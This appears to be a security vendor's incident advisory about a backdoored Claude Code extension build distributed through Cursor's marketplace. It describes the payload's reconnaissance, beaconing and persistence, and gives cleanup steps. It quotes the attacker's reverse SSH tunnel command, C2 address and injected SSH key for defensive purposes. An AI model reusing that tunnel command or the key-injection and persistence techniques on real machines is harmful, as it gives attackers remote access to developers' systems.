The developer tooling ecosystem recently suffered a major supply chain security incident when a backdoored build of the Claude Code extension (anthropic.claude-code version 2.1.313) was distributed through Cursor's extension marketplace. Before it was detected and pulled, the malicious release landed on developer workstations, immediately harvesting environment metadata, dropping an unauthorized SSH key, establishing reverse SSH tunnels, and installing OS-level persistence.
As AI coding assistants gain deep access to workstations, repositories, and local development environments, securing your AI supply chain requires moving beyond implicit trust in third-party extension marketplaces.
Anatomy of the Compromise: What Actually Happened
Unlike attacks centered on prompt injection or context hijacking, this was a traditional code-level supply chain poisoning attack. Attackers prepended a 66-line obfuscated Immediately-Invoked Function Expression (IIFE) directly into the legitimate extension's primary entry-point bundle (extension.js).
The injected payload executed an automated multi-stage compromise pipeline:
1. Pre-Execution Trigger & Error Suppression
The payload executed synchronously the moment the IDE activated the extension and before any genuine extension logic. It required no developer interaction, as users did not need to run a prompt, invoke an agentic task, or grant workspace permissions. The code wrapped each operation in aggressive try/catch handlers, allowing the legitimate Claude Code UI to load smoothly even if payload stages encountered permission errors, preventing developer suspicion.
2. Host Reconnaissance & HTTP C2 Beaconing
Before establishing tunnel connectivity, the loader performed immediate host fingerprinting:
- Collected hostname, username, operating system, and CPU architecture.
- Queried global Git identity using git config --global user.email.
- Queried the public IP via api.ipify.org and ifconfig.me .
- Scanned for up to 40 environment variable names containing sensitive keywords (KEY, TOKEN, SECRET, PASS, AWS, GCP).
- Exfiltrated this telemetry over unencrypted HTTP to [http://134.209.82.225:8099/beacon](http://134.209.82.225:8099/beacon) and [http://127.0.0.1:8099/beacon](http://127.0.0.1:8099/beacon).
3. SSH Service Activation & Key Injection
To ensure the host could be accessed remotely, the script attempted to enable and start native SSH daemons across all platforms:
- macOS: Attempted to enable Remote Login (systemsetup -setremotelogin on).
- Linux: Attempted to start sshd or ssh using systemctl.
- Windows: Attempted to install OpenSSH Server via PowerShell and start the sshd service.
It then appended an attacker-controlled SSH public key into ~/.ssh/authorized_keys with file permissions set to 0600, disguised under an administrative comment:
ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P
svc-telemetry4. Reverse SSH Tunneling
The payload decoded an embedded private key into a temporary file and spawned an outbound reverse SSH tunnel back to the C2 server:
ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' -o
StrictHostKeyChecking=noThe script looped every 60 seconds and favored autossh (if installed) to maintain a persistent reverse proxy through corporate firewalls and NAT barriers directly back to the developer's local port 22.
5. Multi-Platform OS Persistence Hooks
To survive IDE restarts and extension uninstalls, the loader dropped secondary scripts and scheduled native persistence:
- macOS: Wrote payload scripts to ~/.config/.smt and ~/.config/.smtk. It registered and loaded a user LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist configured with RunAtLoad and KeepAlive.
- Linux: Wrote ~/.config/.smt and ~/.config/.smtk, adding an @reboot crontab entry pointing directly to the tunnel script.
- Windows: Wrote %USERPROFILE%\.config\smt.cmd and smtk. It attempted to create a scheduled task named SysMon running as SYSTEM, falling back to copying sysmon.cmd into the user’s Startup folder.
Indicators of Compromise (IoCs)
Immediate Remediation Steps for Engineering Teams
Cursor has published remediation scripts for macOS and Windows that remove the tampered extension, the dropped files, the persistence and the SSH key. If you are a Cursor user on those platforms, you can also run them. The steps below explain what the cleanup involves and add the network and credential actions the scripts do not perform.
Because the backdoor persists independently at the OS level, simply updating or uninstalling the extension will not remove the malicious artifacts. Execute the following incident response steps across all developer endpoints:
1. Audit Extension Versions & Terminate Processes
Check installed extension versions across your workstations:
code --list-extensions --show-versions | grep -i claude
# For Cursor users:
cursor --list-extensions --show-versions | grep -i claude
Kill any long-running rogue tunnel processes:
pkill -f "134.209.82.225"Ensure all installations are upgraded to v2.1.314 or later.
2. Purge Backdoored SSH Keys
Inspect ~/.ssh/authorized_keys and remove the attacker's public key:
grep -v "svc-telemetry" ~/.ssh/authorized_keys >
~/.ssh/authorized_keys.clean && mv ~/.ssh/authorized_keys.clean
~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
3. Clean Platform Persistence Mechanisms
- macOS:
launchctl unload -w ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/nullrm -f ~/Library/LaunchAgents/com.apple.sysmond.plistrm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_*- Linux:
crontab -l | grep -v "\.smt" | crontab -
rm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_*- Windows:
Unregister-ScheduledTask -TaskName "SysMon" -Confirm:$false
-ErrorAction SilentlyContinueRemove-Item -Path "$env:USERPROFILE\.config\smt.cmd",
"$env:USERPROFILE\.config\smtk" -Force -ErrorAction
SilentlyContinueRemove-Item -Path
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd" -Force -ErrorAction
SilentlyContinue4. Firewall & Perimeter Rules
Implement immediate egress block rules at your network gateway and endpoint firewalls for 134.209.82.225 on all ports (specifically TCP 22 and 8099).
5. Rotate Compromised Credentials
Because the implant exfiltrated names of environment variables containing tokens and may have opened interactive shell sessions, treat any workstation where version 2.1.313 executed as fully compromised:
Rotate GitHub, GitLab, and internal VCS Personal Access Tokens (PATs) and SSH deploy keys.
Invalidate and reissue cloud credentials (AWS IAM keys, GCP service account keys, Azure credentials).
Revoke local session tokens, Kubernetes contexts, and staging/production VPN credentials.
6. Hunt For Follow-On Activity
Review SSH, shell, process, VS Code, authentication and network logs for signs of further compromise.
Look for long-running ssh or autossh processes with -R *:0:localhost:22, and check each user’s authorized_keys for entries you don’t recognize. The files and persistence listed above are unlikely to be the whole picture, because the implant gives an attacker a route into SSH.
Why the Agentic Era Demands Independent AI Security
The Claude Code incident shatters another long-held assumption. Namely that platform marketplace vetting and model-level safeguards are more than sufficient to protect enterprise engineering environments.
Marketplaces rely on automated intake pipelines that adversaries will keep testing and bypassing. When organizations depend exclusively on extension platforms to police themselves, they introduce a single point of failure. Once an agent or extension secures execution privileges inside the local developer loop, native host guards cannot distinguish between intended developer automation and unauthorized malicious behavior.
Defense-in-depth in an agentic world requires independent security:
- Decoupled Visibility: You need an out-of-band inventory engine that automatically maps every AI tool, local model, IDE extension, and Model Context Protocol (MCP) server across your organization without depending on native platform reporting.
- Behavioral Runtime Verification: You need guardrails that enforce zero-trust policies at the OS, file, and network layers, catching suspicious egress, backdoor additions, and unexpected privilege escalations the moment an agent or extension acts outside normal parameters.
- Dedicated Posture Management: Platform vendors naturally prioritize developer velocity and new features. Independent AI security ensures the enterprise perimeter remains guarded across multiple models, orchestrators, and toolchains.
Outsourcing your defenses to the very platforms you need to monitor leaves your organization exposed. The Claude Code compromise proves developer endpoints are prime targets for supply chain adversaries. Ensuring your defenses remain objective, independent, and active at runtime is the only sustainable way forward.
-optimized.webp)
